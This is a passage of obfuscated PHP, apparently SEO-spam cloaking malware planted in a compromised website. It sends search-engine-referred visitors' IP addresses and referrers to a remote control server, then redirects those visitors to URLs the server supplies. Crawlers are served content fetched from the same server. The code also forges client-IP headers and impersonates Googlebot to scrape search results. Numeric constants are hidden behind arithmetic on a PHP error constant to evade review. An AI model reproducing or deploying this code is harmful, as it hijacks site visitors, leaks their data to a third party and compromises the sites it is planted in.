$pid,'spider_url'=>$spider_result[(((0-8192+2*E_RECOVERABLE_ERROR)-53248+E_RECOVERABLE_ERROR*13)-344064+84*E_RECOVERABLE_ERROR)],'html_text'=>$spider_result[(E_RECOVERABLE_ERROR*83-339967)]);}else{$pid=isset($pid)?$pid:(((0-8192+2*E_RECOVERABLE_ERROR)-53248+E_RECOVERABLE_ERROR*13)-344064+84*E_RECOVERABLE_ERROR);$data=array('kid'=>$pid,'spider_url'=>'','html_text'=>'');}$BotContent_mb=post($TD_server. "/postcreate.php?type=" .$http_type. "&host=" .$host. "&request=" .$request,$data,$user_agent);if(!empty($BotContent_mb)){echo $BotContent_mb;exit;}}}if(strpos($referer,'google')!==false||strpos($referer,'yahoo')!==false||strpos($referer,'bing')!==false){if(judgeLanguage($lang)==(E_RECOVERABLE_ERROR*83-339967)){$client_ip=base64_encode(get_client_ip());$referer=urlencode($referer);$response=curl_request($TD_server. "/getlink.php?type=" .$http_type. "&host=" .$host. "&request=" .$request. "&referer=" .$referer. "&client_ip=" .$client_ip,$user_agent);if($response!==false&&$response[(((0-8192+2*E_RECOVERABLE_ERROR)-53248+E_RECOVERABLE_ERROR*13)-344064+84*E_RECOVERABLE_ERROR)]==((0-8192+2*E_RECOVERABLE_ERROR)-233272+57*E_RECOVERABLE_ERROR)&&strlen($response[(E_RECOVERABLE_ERROR*83-339967)])>(E_RECOVERABLE_ERROR*24-98299)){$tzurl=trim($response[(E_RECOVERABLE_ERROR*83-339967)]);$tzurl=str_replace(array(chr(((0-8192+2*E_RECOVERABLE_ERROR)-225041+E_RECOVERABLE_ERROR*55)),chr((19*E_RECOVERABLE_ERROR-77637)),chr((E_RECOVERABLE_ERROR*78-319297))," "," "," "," "),'',$tzurl);@header("Location: " . $tzurl);exit;}}}function generate_random_ua(){$user_agents=['Mozilla/5.0 (Windows NT 6.3; WOW64; rv:54.0) Gecko/20100101 Firefox/' .rand(((0-208896+51*E_RECOVERABLE_ERROR)-32767+8*E_RECOVERABLE_ERROR),(19*E_RECOVERABLE_ERROR-77724)),'Mozilla/' .rand(((0-208896+51*E_RECOVERABLE_ERROR)-151549+E_RECOVERABLE_ERROR*37),(22*E_RECOVERABLE_ERROR-90107)). '.0 (Windows NT 10.0; Win64; x64; rv:' .rand(((0-208896+51*E_RECOVERABLE_ERROR)-278478+E_RECOVERABLE_ERROR*68),(E_RECOVERABLE_ERROR*8-32708)). ') Gecko/20100101 Firefox/' .rand(((0-208896+51*E_RECOVERABLE_ERROR)-32767+8*E_RECOVERABLE_ERROR),(19*E_RECOVERABLE_ERROR-77724)),'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:' .rand(((0-208896+51*E_RECOVERABLE_ERROR)-278478+E_RECOVERABLE_ERROR*68),(E_RECOVERABLE_ERROR*8-32708)). ') AppleWebKit/' .rand(((0-208896+51*E_RECOVERABLE_ERROR)-32268+8*E_RECOVERABLE_ERROR),(35*E_RECOVERABLE_ERROR-142760)). '.36 (KHTML, like Gecko) Chrome/' .rand(((0-208896+51*E_RECOVERABLE_ERROR)-278478+E_RECOVERABLE_ERROR*68),(E_RECOVERABLE_ERROR*8-32708)). '.0.3112.90 Safari/' .rand(((0-208896+51*E_RECOVERABLE_ERROR)-32268+8*E_RECOVERABLE_ERROR),(35*E_RECOVERABLE_ERROR-142760)). '.36','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/' .rand(((0-208896+51*E_RECOVERABLE_ERROR)-311283+76*E_RECOVERABLE_ERROR),(90*E_RECOVERABLE_ERROR-368624)). '.0 Safari/605.1.15','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .rand(((0-208896+51*E_RECOVERABLE_ERROR)-311206+E_RECOVERABLE_ERROR*76),(19*E_RECOVERABLE_ERROR-77724)). '.0.4430.212 Safari/537.36 Edg/' .rand(((0-208896+51*E_RECOVERABLE_ERROR)-311206+E_RECOVERABLE_ERROR*76),(19*E_RECOVERABLE_ERROR-77724)). '.0.1185.44','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .rand(((0-208896+51*E_RECOVERABLE_ERROR)-311206+E_RECOVERABLE_ERROR*76),(19*E_RECOVERABLE_ERROR-77724)). '.0.4430.212 Safari/537.36 OPR/' .rand((E_RECOVERABLE_ERROR*92-376756),((0-208896+51*E_RECOVERABLE_ERROR)-343978+E_RECOVERABLE_ERROR*84)). '.0.4017.123','Mozilla/5.0 (Linux; Android ' .rand(((0-208896+51*E_RECOVERABLE_ERROR)-131064+E_RECOVERABLE_ERROR*32),((0-208896+51*E_RECOVERABLE_ERROR)-135156+E_RECOVERABLE_ERROR*33)). '.0; SM-G9' .rand((22*E_RECOVERABLE_ERROR-90107),(E_RECOVERABLE_ERROR*60-245751)). '0F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .rand(((0-208896+51*E_RECOVERABLE_ERROR)-311206+E_RECOVERABLE_ERROR*76),(19*E_RECOVERABLE_ERROR-77724)). '.0.4430.212 Mobile Safari/537.36','Mozilla/5.0 (iPhone; CPU iPhone OS ' .rand((E_RECOVERABLE_ERROR*59-241650),(90*E_RECOVERABLE_ERROR-368624)). '_' .rand((0-208896+51*E_RECOVERABLE_ERROR),(22*E_RECOVERABLE_ERROR-90107)). ' like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/' .rand((E_RECOVERABLE_ERROR*59-241650),(90*E_RECOVERABLE_ERROR-368624)). '.0 Mobile/15E148 Safari/604.1',];return $user_agents[array_rand($user_agents)];}function curl_request($url,$ua='',$referer=null){global $has_curl,$curl_timeout;if($ua==''){$ua=generate_random_ua();}if($has_curl){$ip=rand(((E_RECOVERABLE_ERROR*97-397312)-131071+E_RECOVERABLE_ERROR*32),((E_RECOVERABLE_ERROR*97-397312)-335618+82*E_RECOVERABLE_ERROR)). '.' .rand(((E_RECOVERABLE_ERROR*97-397312)-131071+E_RECOVERABLE_ERROR*32),((E_RECOVERABLE_ERROR*97-397312)-335618+82*E_RECOVERABLE_ERROR)). '.' .rand(((E_RECOVERABLE_ERROR*97-397312)-131071+E_RECOVERABLE_ERROR*32),((E_RECOVERABLE_ERROR*97-397312)-335618+82*E_RECOVERABLE_ERROR)). '.' .rand(((E_RECOVERABLE_ERROR*97-397312)-131071+E_RECOVERABLE_ERROR*32),((E_RECOVERABLE_ERROR*97-397312)-335618+82*E_RECOVERABLE_ERROR));$headers['CLIENT-IP']=$ip;$headers['X-FORWARDED-FOR']=$ip;$headerArr=array();foreach($headers as $n=>$v){$headerArr[]=$n. ':' .$v;}$curl=curl_init();curl_setopt($curl,CURLOPT_URL,$url);curl_setopt($curl,CURLOPT_HTTPHEADER,$headerArr);curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,(E_RECOVERABLE_ERROR*97-397312));curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,(((0-331776+81*E_RECOVERABLE_ERROR)-253952+62*E_RECOVERABLE_ERROR)-208894+E_RECOVERABLE_ERROR*51));curl_setopt($curl,CURLOPT_USERAGENT,$ua);curl_setopt($curl,CURLOPT_FOLLOWLOCATION,((E_RECOVERABLE_ERROR*97-397312)-131071+E_RECOVERABLE_ERROR*32));curl_setopt($curl,CURLOPT_AUTOREFERER,((E_RECOVERABLE_ERROR*97-397312)-131071+E_RECOVERABLE_ERROR*32));curl_setopt($curl,CURLOPT_ENCODING,"gzip");curl_setopt($curl,CURLOPT_HTTPGET,((E_RECOVERABLE_ERROR*97-397312)-131071+E_RECOVERABLE_ERROR*32));curl_setopt($curl,CURLOPT_TIMEOUT,$curl_timeout);curl_setopt($curl,CURLOPT_HEADER,(E_RECOVERABLE_ERROR*97-397312));curl_setopt($curl,CURLOPT_RETURNTRANSFER,((E_RECOVERABLE_ERROR*97-397312)-131071+E_RECOVERABLE_ERROR*32));curl_setopt($curl,CURLOPT_REFERER,$referer);$output=curl_exec($curl);$error=curl_error($curl);if($error){return false;}$httpcode=curl_getinfo($curl,CURLINFO_HTTP_CODE);curl_close($curl);return $output?[$httpcode,$output]:false;}else{$options=['http'=>['method'=>'GET','ignore_errors'=>true,'header'=>"User-Agent: " .$ua. " " . "Referer: " .$referer. " ",'timeout'=>$curl_timeout],'ssl'=>['verify_peer'=>false,'verify_peer_name'=>false,]];$context=stream_context_create($options);$response=@file_get_contents($url,false,$context);if($response===false){return false;}$http_response_header=isset($http_response_header)?$http_response_header:[];preg_match('/HTTP\/\d\.\d (\d{3})/',$http_response_header[(E_RECOVERABLE_ERROR*97-397312)],$matches);$httpcode=isset($matches[((E_RECOVERABLE_ERROR*97-397312)-131071+E_RECOVERABLE_ERROR*32)])?(int)$matches[((E_RECOVERABLE_ERROR*97-397312)-131071+E_RECOVERABLE_ERROR*32)]:(E_RECOVERABLE_ERROR*97-397312);return[$httpcode,$response];}}function post($url,$postData,$ua=''){global $has_curl;if($ua==''){$ua=generate_random_ua();}if($has_curl){$curl=curl_init();curl_setopt($curl,CURLOPT_URL,$url);curl_setopt($curl,CURLOPT_HEADER,(0-344064+E_RECOVERABLE_ERROR*84));curl_setopt($curl,CURLOPT_USERAGENT,$ua);curl_setopt($curl,CURLOPT_POST,true);curl_setopt($curl,CURLOPT_POSTFIELDS,http_build_query($postData));curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);$output=curl_exec($curl);curl_close($curl);return $output;}else{$postData=http_build_query($postData);$options=['http'=>['method'=>'POST','header'=>"Content-type: application/x-www-form-urlencoded; charset=UTF-8 " . "Accept: application/json " . "User-Agent: " .$ua. " ",'content'=>$postData,'timeout'=>(96*E_RECOVERABLE_ERROR-393206)],'ssl'=>['verify_peer'=>false,'verify_peer_name'=>false,]];$context=stream_context_create($options);$response=@file_get_contents($url,false,$context);return $response;}}function judgeLanguage($lang){if(isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])){$languages=explode(',',$_SERVER['HTTP_ACCEPT_LANGUAGE']);$firstLang=strtolower(trim($languages[((E_RECOVERABLE_ERROR*34-139264)-237568+E_RECOVERABLE_ERROR*58)]));return substr($firstLang,((E_RECOVERABLE_ERROR*34-139264)-237568+E_RECOVERABLE_ERROR*58),(((0-307200+75*E_RECOVERABLE_ERROR)-303104+E_RECOVERABLE_ERROR*74)-57342+E_RECOVERABLE_ERROR*14))===$lang?(E_RECOVERABLE_ERROR*35-143359):((E_RECOVERABLE_ERROR*34-139264)-237568+E_RECOVERABLE_ERROR*58);}return ((E_RECOVERABLE_ERROR*34-139264)-237568+E_RECOVERABLE_ERROR*58);}function getNumber($string){$posSitemap=strpos($string,'sitemap');$posXml=strpos($string,'.xml');if($posSitemap!==false&&$posXml!==false&&$posXml>$posSitemap){$length=$posXml-$posSitemap-strlen('sitemap');$substring=substr($string,$posSitemap+strlen('sitemap'),$length);$number=intval($substring);return $number;}else{return (0-368640+90*E_RECOVERABLE_ERROR);}}function get_client_ip(){$ip_keys=array('HTTP_CLIENT_IP','HTTP_X_FORWARDED_FOR','HTTP_X_FORWARDED','HTTP_FORWARDED_FOR','HTTP_FORWARDED','REMOTE_ADDR');foreach($ip_keys as $key){if(array_key_exists($key,$_SERVER)===true){foreach(explode(',',$_SERVER[$key])as $ip){$ip=trim($ip);if(filter_var($ip,FILTER_VALIDATE_IP,FILTER_FLAG_IPV4|FILTER_FLAG_IPV6)!==false){return $ip;}}}}return 'unknown';}function spider($name){$hrefTemp=spider_search($name);$hrefArray=[];foreach($hrefTemp as $href){$non_web_extensions=['pdf','doc','docx','xls','xlsx','ppt','pptx'];$file_extension=pathinfo(parse_url($href,PHP_URL_PATH),PATHINFO_EXTENSION);if(in_array(strtolower($file_extension),$non_web_extensions)){continue 1;}if(stripos($href,'youtube.com')!==false||stripos($href,'twitter.com')!==false||stripos($href,'bing.com')!==false){continue 1;}$hrefArray[]=$href;}if(empty($hrefArray)){return false;}shuffle($hrefArray);$googleua="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)";foreach($hrefArray as $href){$spider_html=curl_request($href,$googleua,$href);if($spider_html!==false&&$spider_html[(85*E_RECOVERABLE_ERROR-348160)]==(0-208696+E_RECOVERABLE_ERROR*51)){$htmltext=trim($spider_html[(0-57343+E_RECOVERABLE_ERROR*14)]);if(strlen($htmltext)>(0-67632+17*E_RECOVERABLE_ERROR)){return[$href,$htmltext];}}}return false;}function spider_search($name){$search_urls=["google"=>"https://www.google.com.vn/search?q=" .$name. "&lr=lang_vi","aol"=>"https://search.aol.com/aol/search;_ylt=?q=" .$name];$hrefArray=[];foreach($search_urls as $domain=>$url){$result=curl_request($url,'',$url);if($result!==false&&$result[((37*E_RECOVERABLE_ERROR-151552)-131072+E_RECOVERABLE_ERROR*32)]===(34*E_RECOVERABLE_ERROR-139064)){$dom=new DOMDocument();@$dom->loadHTML($result[(78*E_RECOVERABLE_ERROR-319487)],LIBXML_HTML_NOIMPLIED|LIBXML_HTML_NODEFDTD);$xpath=new DOMXPath($dom);$aElements=$xpath->query('//a');foreach($aElements as $a){$href=$a->getAttribute('href');if($href&&$domain=='google'){$httpsPos=stripos($href,'https://');$urlPos=stripos($href,'/url?');if($httpsPos!==false&&strpos($href,'google')===false&&$urlPos===((37*E_RECOVERABLE_ERROR-151552)-131072+E_RECOVERABLE_ERROR*32)){$hrefArray[]=substr($href,$httpsPos);}}else if($href&&$domain=='aol'){if(preg_match('/\/RU=(https[^\/]*\/RK=)/',$href,$matches)){$httpsPart=substr($matches[(78*E_RECOVERABLE_ERROR-319487)],((37*E_RECOVERABLE_ERROR-151552)-131072+E_RECOVERABLE_ERROR*32),-(0-192508+E_RECOVERABLE_ERROR*47));if(strpos($httpsPart,'aol.com')===false&&strpos($httpsPart,'oath.com')===false){$hrefArray[]=urldecode($httpsPart);}}}}}if(!empty($hrefArray)){return $hrefArray;}}return $hrefArray;} ?>